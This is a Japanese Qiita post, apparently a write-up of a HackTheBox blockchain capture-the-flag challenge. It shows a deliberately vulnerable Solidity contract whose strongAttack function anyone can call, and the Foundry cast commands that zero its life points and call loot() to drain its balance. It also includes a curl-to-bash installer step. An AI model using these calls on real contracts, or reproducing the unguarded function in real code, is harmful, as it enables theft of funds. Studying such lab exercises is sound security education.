7
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

ブロックチェーンハッキング入門

Posted at

ブロックチェーンのハッキングの入門としてHackTheBoxの「Survival of the Fittest」を解いていきましょう。

image.png

このハッキング手法を悪用できるスマートコントラクトは世の中に出回っていない(と願っています。)ですが、悪用しようとしないでください。

事前知識

Castと呼ばれる、スマートコントラクトとの通信ができるクライアントが必要になります。

以下コマンドでインストールしましょう。

curl -L https://foundry.paradigm.xyz | bash
# zshやbashの再起動後
foundryup

解いてみる

百聞は一見に如かず。解いてみます。

コードを見る

与えられたコードの中で、Setup.solを見てみましょう。
(solファイルのシンタックスハイライトがなかったので、C言語のシンタックスハイライトを使ってます。)

Setup.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Creature} from "./Creature.sol";

// Setupコントラクトを作成
contract Setup {

    // 外部から読み取り可能なTARGET変数を宣言する
    Creature public immutable TARGET;

    constructor() payable {
        // Ehterが1イーサに満たないとコントラクトのデプロイが失敗する
        // 10Ehterを持つコントラクトを作成し、TARGETという変数に代入する
        require(msg.value == 1 ether);
        TARGET = new Creature{value: 10}();
    }

    // isSolvedという名前のビュー関数を定義
    // TARGETの持つEhterが0の場合に正を返す
    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

Creature.solは以下のようになっています。

Creature.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Creature {

    // lifePoints CreatureのHPを表す変数
    // aggro      Creatureの攻撃対象のアドレス
    uint256 public lifePoints;
    address public aggro;

    // lifePointsは20ポイントにセットする
    constructor() payable {
        lifePoints = 20;
    }

    // _damageで指定されたダメージを_dealDamage関数に渡す関数(下記)
    function strongAttack(uint256 _damage) external{
        _dealDamage(_damage);
    }

    // _dealDamage関数(下記)を用いて1ダメージを与える関数
    function punch() external {
        _dealDamage(1);
    }

    // lifePointsが0である場合に呼び出し元コントラクトに残高を送金する関数
    function loot() external {
        require(lifePoints == 0, "Creature is still alive!");
        payable(msg.sender).transfer(address(this).balance);
    }

    // 攻撃者のアドレスのlifePointsから_damage分を引く関数
    function _dealDamage(uint256 _damage) internal {
        aggro = msg.sender;
        lifePoints -= _damage;
    }
}

推測と解法

とりあえず、クリーチャーを倒せばいいのかしら!と思いました。

image.png

WEBサイトを見てみた感じ、モンスターを倒せますか?と出てきます。
何度、攻撃ボタンをクリックしてもモンスターは倒せませんでした。

  • モンスターのHP初期値は20から始まる。
  • 自分たちはそれらを0にしなくてはいけない
  • モンスターのHPは回復する
  • strongAttack()関数では、自分たちが攻撃するダメージを設定できる

image.png

サイトの上にはDocs / Home / Connectionがあります。

それぞれ、ドキュメントと接続先のアドレス情報が書かれています。

Docsについてみてみましょう

image.png

APIのエンドポイントの情報が書かれていました。

  • /restart チェーンをリスタートする
  • /rpc RPCのエンドポイント
  • /flag フラグをゲットする
  • /connection_info ノードに関する情報を取得する

次にConnectionについてみてみましょう。

image.png

ここからキーとアドレス、ターゲットのコントラクトアドレスとセットアップコントラクトのアドレスがわかりました。

ハッキング開始

最初に必要なトークンやアドレスを環境変数に入れておきましょう。

privatekey=プライベートキー
targetaddress=ターゲットアドレス
rpc=http://HTBのアドレス/rpc

自身の場合は以下のような感じでセットアップしました。

image.png

まず最初にstrongAttack()関数モンスターの体力を20削りましょう。

cast send $targetaddress -r $rpc 'strongAttack(uint256)' 20 --private-key $privatekey

image.png

lifePoints()関数でモンスターの体力を見てみましょう。

cast call -r $rpc $targetaddress 'lifePoints()'

image.png

きちんと0になっていますね。

最後にloot()関数を呼んでHPを確定させましょう。

cast send $targetaddress -r $rpc 'loot()' --private-key $privatekey

image.png

これで、フラグが取り出せるはずです。

curl http://IPアドレス/flag

タイトルなし.png

できました!

image.png

まとめ

ブロックチェーンの関数が誰でも呼び出せることで危険になることがわかりました。

WEB3に関連やスマートコントラクトが実社会にどんどん実装されているので、セキュアにコーディングされたものが世の中にたくさん出てくればいいなぁと思いました。

どんどん知識深めていきたいですね。

参考文献

7
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
7
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?